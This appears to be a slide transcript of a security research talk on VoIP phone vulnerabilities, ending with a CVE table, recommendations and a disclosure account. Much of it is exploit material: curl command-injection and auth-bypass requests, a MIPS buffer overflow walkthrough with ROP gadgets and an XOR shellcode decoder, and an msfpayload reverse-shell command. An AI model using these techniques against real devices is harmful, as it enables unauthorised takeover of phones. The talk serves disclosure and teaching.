  • 95. Command Injection 97 Command injection in AudioCodes 405HD device: Can we bypass the authorization? curl -i -s -k -X 'GET' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) … -H 'Accept: */*' -H 'Accept-Language: en-GB,en;q=0.5' -H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm' -H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' –H 'Connection: keep-alive' -H '' 'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd' idea, start telnetd Attacker does not know credentials
  • 96. Command Injection 98 Command injection in AudioCodes 405HD device: Can we bypass the authorization? curl -i -s -k -X 'GET' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) … -H 'Accept: */*' -H 'Accept-Language: en-GB,en;q=0.5' -H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm' -H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' –H 'Connection: keep-alive' -H '' 'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd' idea, start telnetd Attacker does not know credentials NOPE !
  • 97. Exploit for Auth Bypass 99 But look at “Change password” request: curl -i -s -k -X 'POST' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 33' -H 'Referer:http://10.148.207.249/mainform.cgi/System_Auth.htm' -H '' --data-binary $'NADMIN=admin&NPASS=pass&NCPASS=pass' 'http://10.148.207.249/mainform.cgi/System_Auth.htm'
  • 98. Exploit for Auth Bypass 100 But look at “Change password” request: NO Authorization header! NO old password parameter! curl -i -s -k -X 'POST' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 33' -H 'Referer:http://10.148.207.249/mainform.cgi/System_Auth.htm' -H '' --data-binary $'NADMIN=admin&NPASS=pass&NCPASS=pass' 'http://10.148.207.249/mainform.cgi/System_Auth.htm'
  • 99. Exploit for Auth Bypass 101 But look at “Change password” request: NO Authorization header! NO old password parameter! curl -i -s -k -X 'POST' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 33' -H 'Referer:http://10.148.207.249/mainform.cgi/System_Auth.htm' -H '' --data-binary $'NADMIN=admin&NPASS=pass&NCPASS=pass' 'http://10.148.207.249/mainform.cgi/System_Auth.htm'
  • 101. Inside Outside 103 Internal attacker -> entry point csrf Open to internet -> Shodan map Default creds End technical part Shit Happens !
  • 102. Stack Based Buffer Overflow (MIPS) 104 Request changing password on Htek - UC902: curl -i -s -k -X 'GET' … -H 'Authorization: Basic YWRtaW46YWRtaW4=' –H … -H '' 'http://192.168.2.107/hl_web/cgi_command=setSecurityPasswortaaaabaaacaaadaaaeaaafaaagaaahaaaia aajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabg'
  • 103. Stack Based Buffer Overflow (MIPS) 105 Request changing password on Htek - UC902: Internal code: curl -i -s -k -X 'GET' … -H 'Authorization: Basic YWRtaW46YWRtaW4=' –H … -H '' 'http://192.168.2.107/hl_web/cgi_command=setSecurityPasswortaaaabaaacaaadaaaeaaafaaagaaahaaaia aajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabg' handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) { char targetBuffer [32]; … memset(targetBuffer,0,0x20); iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14); if (iVar1 == 0) { CopyToCommandStr(targetBuffer, cgi_param + 0x14); ...
  • 104. Stack Based Buffer Overflow (MIPS) 106 Request changing password on Htek - UC902: Internal code: curl -i -s -k -X 'GET' … -H 'Authorization: Basic YWRtaW46YWRtaW4=' –H … -H '' 'http://192.168.2.107/hl_web/cgi_command=setSecurityPasswortaaaabaaacaaadaaaeaaafaaagaaahaaaia aajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabg' handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) { char targetBuffer [32]; … memset(targetBuffer,0,0x20); iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14); if (iVar1 == 0) { CopyToCommandStr(targetBuffer, cgi_param + 0x14); ...
  • 105. Stack Based Buffer Overflow (MIPS) 107 handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) { char targetBuffer [32]; … memset(targetBuffer,0,0x20); iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14); if (iVar1 == 0) { CopyToCommandStr(targetBuffer, cgi_param + 0x14); ... … void CopyToCommandStr(char *target, char *input) { char *local_target = target; char *local_input = input ; while ((*local_input != '(' && (*local_input != 0))) { *local_target = *local_input; local_target = local_target + 1; local_input = local_input + 1; } return; }
  • 106. Stack Based Buffer Overflow (MIPS) 108 handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) { char targetBuffer [32]; … memset(targetBuffer,0,0x20); iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14); if (iVar1 == 0) { CopyToCommandStr(targetBuffer, cgi_param + 0x14); ... … void CopyToCommandStr(char *target, char *input) { char *local_target = target; char *local_input = input ; while ((*local_input != '(' && (*local_input != 0))) { *local_target = *local_input; local_target = local_target + 1; local_input = local_input + 1; } return; } stop criteria filling the buffer
  • 107. Control $ra 109 ------------------------------------------------------------------- registers ---- … $s8 : 0x61616265 ("aabe"?) $pc : 0x0080a9b4 -> 0x27bd00a8 $sp : 0x7cffb498 -> 0x00d89c48 -> 0x2a2a2a2a ("****"?) … $ra : 0x61616266 ("aabf"?) $gp : 0x00e42900 -> 0x00000000 ------------------------------------------------------------ code:mips:MIPS32 ---- … -> 0x80a9b4 addiu sp, sp, 168 0x80a9b8 jr ra 0x80a9bc nop … --------------------------------------------------------------------------------------------- gef> x/60wx $sp 0x7cffb498: 0x00d89c48 0x7cffb4b4 0x00000000 0x00000000 … 0x7cffb528: 0x6161617a 0x61616262 0x61616263 0x61616264 0x7cffb538: 0x61616265 0x61616266 0x61616267 0xffffffff … gef> we control we control jump to (return) address in register (we control) stack $s8 $ra
  • 108. Exploit Development, Challenges 110 How to bypass NX protection, ASLR, …?
  • 109. Exploit Development, Challenges 111 How to bypass NX protection, ASLR, …? Generate shell code and put it onto the stack e.g. gef> checksec [+] checksec for '/tmp/gef/265//bin/voip' Canary : No NX : No PIE : No Fortify : No RelRO : No msfpayload linux/mipsbe/shell_reverse_tcp lport=4444 lhost=192.168.2.102
  • 110. Exploit Development, Challenges 112 How to find the stack address with our shell code? … 0x7ff22000 0x7ff37000 0x00000000 rwx [stack] … … 0x7fc58000 0x7fc6d000 0x00000000 rwx [stack] … vs.
  • 111. Exploit Development, Challenges 113 How to find the stack address with our shell code? Find gadgets in libc to load stack address into a register: … 0x7ff22000 0x7ff37000 0x00000000 rwx [stack] … … 0x7fc58000 0x7fc6d000 0x00000000 rwx [stack] … vs. x/4i 0x2AE3EEE8 0x2ae3eee8 <wcwidth+40>: addiu a0,sp,32 0x2ae3eeec <wcwidth+44>: lw ra,28(sp) 0x2ae3eef0 <wcwidth+48>: jr ra 0x2ae3eef4 <wcwidth+52>: addiu sp,sp,32 x/4i 0x2AE5B9BC 0x2ae5b9bc <xdr_free+12>: move t9,a0 0x2ae5b9c0 <xdr_free+16>: sw v0,24(sp) 0x2ae5b9c4 <xdr_free+20>: jalr t9 0x2ae5b9c8 <xdr_free+24>: addiu a0,sp,24 “write “ stack pointer + 32 to register $a0 jump to next gadget move $a0 to $t9 jump to value in $t9 = $a0 = $sp + 32
  • 112. Exploit Development, Challenges 114 How to handle bad chars? 0x00, 0x09, 0x0a, 0x0d, 0x20, 0x23, 0x28, 0x29, 0x5b, 0x5d, 0x2f2f
  • 113. Exploit Development, Challenges 115 How to handle bad chars? Write/use an encoder/encryption*: 0x00, 0x09, 0x0a, 0x0d, 0x20, 0x23, 0x28, 0x29, 0x5b, 0x5d, 0x2f2f *https://www.vantagepoint.sg/papers/MIPS-BOF-LyonYang-PUBLIC-FINAL.pdf # Load decimal value 99999999 into register $s2 li $s1, 2576980377 la $s2, 1000($sp) // Copy Stack Pointer Address + 1000 bytes into register $s2 addi $s2, $s2, -244 // Adjust Register $s2 (address location) by -244 lw $t2, -500($s2) // Get value located at register $s2 – 500 bytes and store into $t2 # XOR value stored at $t2 and $s1 and store it into register $v1 xor $v1, $t2, $s1 # Replace value back to stack ($s2 – 500) with new XORed value ($v1). sw $v1, -500($s2)
  • 114. Exploit Structure 116 Payload structure: Padding AAA...A Gadget 1 address $a0 = $sp +32 Gadget 2 address $t9 = $a0 jump to $t9 Decoder assembly xor with 99999999 Shellcode assembly Execute /bin/sh modify code
  • 115. Exploit Development, Another Challenges 117 Memory (Stack) … addi $a0, $t7, -3 addi $a1, $t7, -3 … Instruction Cache … addi $a0, $t7, -3 addi $a1, $t7, -3 … Data Cache … addi $a0, $t7, 5 addi $a1, $t7, 5 … Processor Core
  • 116. Exploit Development, Another Challenges 118 Memory (Stack) … addi $a0, $t7, -3 addi $a1, $t7, -3 … Instruction Cache … addi $a0, $t7, -3 addi $a1, $t7, -3 … Data Cache … addi $a0, $t7, 5 addi $a1, $t7, 5 … Processor Core
  • 117. Solving Caching Problem 119 Trigger cache flush: Call sleep syscall to trigger cache flush Find, call cache flush (__clear_cache) function Build shellcode avoiding bad char: Use assembly instruction without 0 bytes and bad char bytes Hardcoded encoded values, decode at runtime
  • 118. MIPS Examples 120 Set a parameter value (to zero): Semantic Mnemonic Assembly $a0 = 2 li $a0, 2 x24x04x00x02 $t7 = 0 – 6 = -6 $t7 = not(-6) = 5 $a0 = $t7 – 3 = 5 - 3 = 2 addiu $t7, $zero, -6 not $t7, $t7 addi $a0, $t7, -3 x24x0fxffxfax01 xe0x78x27x21xe4 xffxfd
  • 119. MIPS Examples 121 Set a parameter value (to zero): Semantic Mnemonic Assembly $a0 = 2 li $a0, 2 x24x04x00x02 $t7 = 0 – 6 = -6 $t7 = not(-6) = 5 $a0 = $t7 – 3 = 5 - 3 = 2 addiu $t7, $zero, -6 not $t7, $t7 addi $a0, $t7, -3 x24x0fxffxfax01 xe0x78x27x21xe4 xffxfd Semantic Mnemonic Assembly $a2 = 0 li $a2, 0 x24x04x00x00 $a2 = $t7 xor $t7 = 0 Xor $a2, $t7, $t7 x01xefx30x26
  • 120. MIPS Examples 122 Handle “strings” and critical chars: Semantic Mnemonic Assembly $t7 = //bi lui $t7, 0x2f2f ori $t7, $t7, 0x6269 x3cx0fx2fx2fx35 xefx62x69 $t4 = 0xb6b6fbf0 $t6 = 99999999 $t7 = $t4 xor $t6 = 0x2f2f6269 = //bi li $t4, 0xb6b6fbf0 li $t6, 2576980377 xor $t7, $t4, $t6 x3cx0cxb6xb6x35 x8cxfbxf0x3cx0e x99x99x35xcex99 x99x01x8ex78x26
  • 123. Device Overview Vendor Device FW Finding CVE Alcatel-Lucent 8008 CE 1.50.03 CVE-2019-14259 Akuvox R50 50.0.6.156 CVE-2019-12324 CVE-2019-12326 CVE-2019-12327 Atcom A11W 2.6.1a2421 CVE-2019-12328 AudioCodes 405HD 2.2.12 CVE-2018-16220, CVE-2018-16219 CVE-2018-16216 Auerswald COMfortel 2600 IP 2.8D Auerswald COMfortel 1200 IP 3.4.4.1 CVE-2018-19977 CVE-2018-19978 Avaya J100 4.0.1 Cisco CP-7821 11.1.2 Digium D65 2.7.2 Fanvil X6 1.6.1 Gigaset Maxwell Basic 2.22.7 CVE-2018-18871 https://www.sit.fraunhofer.de/cve/ Vendor Device FW Finding CVE Grandstream DP750 1.0.3.37 Htek UC902 2.6.1a2421 CVE-2019-12325 Huawei eSpace 7950 V200R003C 30SPCf00 CVE-2018-7958 CVE-2018-7959 CVE-2018-7960 Innovaphone IP222 V12r2sr16 Mitel 6865i 5.0.0.1018 RIP Obihai 6.3.1.0 5.1.11 CVE-2019-14260 Panasonic KX-TGP600 06.001 Polycom VVX 301 5.8.0 Samsung SMT-i6010 1.62 Univy CP200 V1 R3.8.10 Yealink SIP-T41P 66.83.0.35 CVE-2018-16217 CVE-2018-16218 CVE-2018-16221 125
  • 126. Recommendations for Users/Admins 128 Change default credentials Update your VoIP phone Disable servers (Web, SSH, Telnet, etc…) if possible and not needed Network protection measures for phones …
  • 127. Recommendations for Developers 129 Process separation and isolation Compile flags: ASLR, NX protection, Canaries, etc. No hardcoded keys, and/or self-made crypto No default credentials enforce change at first start Convenient update mechanism
  • 129. Lessons Learned? 1992 Linux OS, multi user 1996 “Smashing The Stack For Fun And Profit“ 131
  • 130. Lessons Learned? 1992 Linux OS, multi user 1996 “Smashing The Stack For Fun And Profit“ 2000-2004 NX protection, ASLR 132
  • 131. Lessons Learned? 1992 Linux OS, multi user 1996 “Smashing The Stack For Fun And Profit“ 2000-2004 NX protection, ASLR 2007 iPhone, all apps run as root 133
  • 132. Lessons Learned? 1992 Linux OS, multi user 1996 “Smashing The Stack For Fun And Profit“ 2000-2004 NX protection, ASLR 2007 iPhone, all apps run as root 2010/2011 iOS 4 / Android 4 ASLR 134
  • 133. Lessons Learned? 1992 Linux OS, multi user 1996 “Smashing The Stack For Fun And Profit“ 2000-2004 NX protection, ASLR 2007 iPhone, all apps run as root 2010/2011 iOS 4 / Android 4 ASLR NÕW Security in VoIP 135
  • 134. Lessons Learned? 1992 Linux OS, multi user 1996 “Smashing The Stack For Fun And Profit“ 2000-2004 NX protection, ASLR 2007 iPhone, all apps run as root 2010/2011 iOS 4 / Android 4 ASLR NÕW Security in VoIP 136
  • 136. Responsible Disclosure 138 Informed all vendors, 90 days to fix the bugs Reactions: “Why investigating our poor phones”? “We bought phone from other vendor, we cannot fix it” “It’s not supported anymore” “...” – “We are going to publish” – “We will fix immediately” In the end, most vendors (2 did not react) fixed the vulnerabilities
  • 137. Summary 139 Investigated 33 VoIP phones Found 40 vulnerabilities and registered 16 CVEs A lot of old technology is out there, new models getting better Some vendors switch to Android, seems to be more robust but new types of vulnerabilities Apps on your VoIP phone? We don’t know what will be next after IoT, but there will be a root process and memory corruption ;-)
  • 138. 140
  • 139. 141 Stephan Huber Email: stephan.huber@sit.fraunhofer.de Philipp Roskosch Email: philipp.roskosch@sit.fraunhofer.de Web: https://www.team-sik.org Email: contact@team-sik.org Findings: https://www.sit.fraunhofer.de/cve Contact